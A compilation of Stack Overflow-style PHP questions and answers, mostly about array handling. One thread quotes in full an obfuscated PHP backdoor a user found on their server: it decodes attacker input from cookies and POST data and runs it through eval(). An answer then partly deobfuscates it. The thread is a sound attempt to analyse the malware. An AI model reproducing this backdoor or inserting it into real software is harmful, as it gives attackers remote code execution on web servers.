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I have such this array in PHP, How can i convert the one and two and three into variables for each one (i have just pasted first array of the items)?
Array
(
[encoding] => utf-8
[title] => arrays
[link] => arrays.com
[items] => Array
(
[0] => Array
(
[one] => this is one
[two] => arrays.com
[three] => This IS my array here
)
)
[items_count] => 100
[cached] => 0
)
You can use PHP's extract() function:
extract($array['items'][0]);
a realy simple way is the php function extract. It provides you the keys of an array as variables in your current scope.
In your case just write extract($array['items'][0]);
Now you can access the variables $one, $two and $three.
you can do this
list($one,$two,$tree) = $Your_Array['items'][0];
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I’m having issues with an array in PHP. I create an array, it’s good, but in order to see it I use json_encode. See examples below.
Original array:
Array (
[0] => Array ( [0] => GCXO )
[1] => Array ( [0] => LEAS )
[2] => Array ( [0] => LECO )
)
I get this:
[["GCXO"],["LEAS"],["LECO"]]
I want this:
["GCXO", "LEAS", "LECO"]
The problem is that if I don’t use json_encode it returns the word array.
Does anyone knows how to get that result?
If the JSON shows [["GCXO"],["LEAS"],["LECO"]] then you have a multi-dimensional array and need to flatten it to get ["GCXO", "LEAS", "LECO"]:
echo json_encode(array_merge(...$array));
When you use json_encode, you are in fact converting the array to a JSON object, its not longer an "array".
If you only want to see the content of the array, you can use:
print_r($array)
or, you can format it as you like with a loop accessing it values with $array[iterator]
Also you can iterate trough it with foreach, giving it the format that you need.
foreach($array as $object){
echo ','.$object;
}
for example
use function implode(',', $array);
https://www.php.net/manual/en/function.implode.php
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I found in my old application directory a script from 2017. It is clearly malicious, can anybody help decoding it? The important part is encoded in first string but I am not able to decode it using any online decoding tool. It probably creates an array of directories? And sets cookie for whatever reason. I am curious what was the purpose of it.
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
$crsqpj=Array();
$crsqpj[]=$zkvaoku[26].$zkvaoku[5];
$crsqpj[]=$zkvaoku[29];
$crsqpj[]=$zkvaoku[7].$zkvaoku[2].$zkvaoku[4].$zkvaoku[14].$zkvaoku[25].$zkvaoku[33].$zkvaoku[2].$zkvaoku[7].$zkvaoku[12].$zkvaoku[15].$zkvaoku[23].$zkvaoku[33].$zkvaoku[33].$zkvaoku[12].$zkvaoku[3].$zkvaoku[4].$zkvaoku[3].$zkvaoku[20].$zkvaoku[12].$zkvaoku[31].$zkvaoku[20].$zkvaoku[2].$zkvaoku[18].$zkvaoku[12].$zkvaoku[6].$zkvaoku[18].$zkvaoku[3].$zkvaoku[7].$zkvaoku[32].$zkvaoku[7].$zkvaoku[20].$zkvaoku[7].$zkvaoku[20].$zkvaoku[33].$zkvaoku[7].$zkvaoku[28];
$crsqpj[]=$zkvaoku[18].$zkvaoku[22].$zkvaoku[21].$zkvaoku[10].$zkvaoku[35];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[13].$zkvaoku[9].$zkvaoku[32].$zkvaoku[27].$zkvaoku[32].$zkvaoku[31].$zkvaoku[35];
$crsqpj[]=$zkvaoku[32].$zkvaoku[17].$zkvaoku[27].$zkvaoku[0].$zkvaoku[22].$zkvaoku[15].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[21].$zkvaoku[28].$zkvaoku[30].$zkvaoku[35].$zkvaoku[9];
$crsqpj[]=$zkvaoku[31].$zkvaoku[9].$zkvaoku[9].$zkvaoku[31].$zkvaoku[34].$zkvaoku[13].$zkvaoku[16].$zkvaoku[32].$zkvaoku[9].$zkvaoku[11].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[0].$zkvaoku[32].$zkvaoku[10];
$crsqpj[]=$zkvaoku[27].$zkvaoku[31].$zkvaoku[18].$zkvaoku[24];
foreach($crsqpj[7]($_COOKIE,$_POST) as $qxmpsom=>$laqeud) {
function vlriqj($crsqpj,$qxmpsom,$lrkqaso) {
return $crsqpj[6]($crsqpj[4]($qxmpsom.$crsqpj[2],($lrkqaso/$crsqpj[8]($qxmpsom))+1),0,$lrkqaso);
}
function pajbr($crsqpj,$olzmly) {
return #$crsqpj[9]($crsqpj[0],$olzmly);
}
function pzdratz($crsqpj,$olzmly) {
$losvhfn=$crsqpj[3]($olzmly)%3;
if(!$losvhfn) {
eval($olzmly[1]($olzmly[2]));
exit();
}
}
$laqeud=pajbr($crsqpj,$laqeud);
pzdratz($crsqpj,$crsqpj[5]($crsqpj[1],$laqeud^ vlriqj($crsqpj,$qxmpsom,$crsqpj[8]($laqeud))));
}
How to find what kind of encoder is user in this string?
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
The $zkvaoku string at the beginning of the script isn't encoded in any "traditional" encoding. If you look at the block of statements following it, up until the foreach loop, you'll see that it's used to dynamically construct an array of strings that are much more readable.
If you print the content of $crsqpj after this block, you'll see the following:
Array (
[0] => H*
[1] => #
[2] => 09f23690-d166-4f48-a89c-5c40e080860b
[3] => count
[4] => str_repeat
[5] => explode
[6] => substr
[7] => array_merge
[8] => strlen
[9] => pack
)
Now you can start seeing how these strings are used to dynamically call functions.
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Below is my array I have to convert first value as key and second as value,
Array
(
[0] => Array
(
[region_code] => AB
[region_name] => Alberta
)
)
Please suggest best solutions.I am using array map but its not working.
You can use array_column(), demo
[(PHP 5 >= 5.5.0, PHP 7)] refer to Call to undefined function array_column()
array_column($array, 'region_name', 'region_code');
for older version of php
foreach ($array as $v) {
$result[$v['region_code']] = $v['region_name'];
}
try it out.
$arr = Array(0 => Array('region_code' => 'AB','region_name' => 'Alberta'));
print_r(array_column($arr, 'region_name', 'region_code'));
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function test(){
}
test(58,1,"world","hello");
How can Use this argument test() function parameter.
Use func_get_args()
<?php
function test(){
print_r(func_get_args());
}
test(58,1,"world","hello");
Output:
Array
(
[0] => 58
[1] => 1
[2] => world
[3] => hello
)
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This is my array in php
$a is my array
Array
(
[0] => class="date-display-single">24-Feb-2013
[2] => 11:35
[3] => AM
)
How do I remove class="date-display-single"> from array[0]?
Several ways... But the simplest one is to do:
$a[0] = str_replace('class="data-display-single">', '', $a[0]);
This simple statement should do exactly that:
$a[0] = substr($a[0], strpos($a[0], '>') + 1);
That said, it all depends on how you ended up with that array in the first place; it seems things can be fixed higher up in the code.
there you are:
$a[0] = str_replace('class="date-display-single">','',$a[0]);
but i would do it in the string, before you explode your date string. no in the array after
Check out unset()
You could try something like:
unset($a[0]);
Try this
str_replace('class="date-display-single">', '', $a[0]);